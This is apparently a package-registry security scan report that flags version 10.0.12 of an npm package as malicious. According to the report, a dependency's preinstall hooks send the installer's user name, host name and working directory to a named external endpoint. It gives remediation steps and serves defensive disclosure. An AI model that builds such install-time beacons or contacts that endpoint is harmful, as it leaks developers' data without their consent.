AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The package’s declared dependency triggers automatic disclosure of identifying environment and project data during installation. The source establishes the trigger, collected data, and recipient, supporting a block for an unconsented installation beacon. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-10-16T10:49:05.339Z - **Finished:** 2026-10-16T10:49:36.309Z - **Download time:** 1269 ms - **Static scan time:** 10 ms - **AI review time:** 29690 ms - **Total time:** 30970 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** The package installs a dependency with platform-specific preinstall hooks that disclose installer and project identifiers to an external endpoint. This is an automatic installation beacon. - **Trigger:** Installing the package and its declared dependency on Linux or Darwin. - **Impact:** The external recipient learns identifying details about the installer and its environment without an indicated consent step. - **Evidence paths:** package.json, .lpm-dependency-evidence-e36a8edb-98ee-439d-bd83-3b955107cc88/0/npm-linux/package.json, .lpm-dependency-evidence-e36a8edb-98ee-439d-bd83-3b955107cc88/0/npm-darwin/package.json - **Review source:** ai\_review - **Reviewed:** 2026-10-16T10:49:36.309Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The dependency’s preinstall hook collects the current user name, host name, and working directory, then sends them in an HTTP request. - **Attack narrative:** The declared dependency has automatic preinstall hooks in both inspected npm platform profiles. Each hook sends the installer’s user name, host name, and working directory to an external endpoint, with no consent guard shown in the inspected source. - **Rationale:** The package’s declared dependency triggers automatic disclosure of identifying environment and project data during installation. The source establishes the trigger, collected data, and recipient, supporting a block for an unconsented installation beacon. - **Files touched:** package.json, .lpm-dependency-evidence-e36a8edb-98ee-439d-bd83-3b955107cc88/0/npm-linux/package.json, .lpm-dependency-evidence-e36a8edb-98ee-439d-bd83-3b955107cc88/0/npm-darwin/package.json - **Network endpoints:** https://artifacts.creditslib.com/api/pings ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The package declares a remote dependency whose Linux and Darwin manifests both run a preinstall hook that sends the installer’s user name, host name, and working directory to an external endpoint., The hook runs automatically during dependency installation, and the inspected source shows no installer consent check. ## Affected versions and remediation This report applies to @flexmr/survey-conversation@10.0.12. - Avoid installing @flexmr/survey-conversation@10.0.12. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.
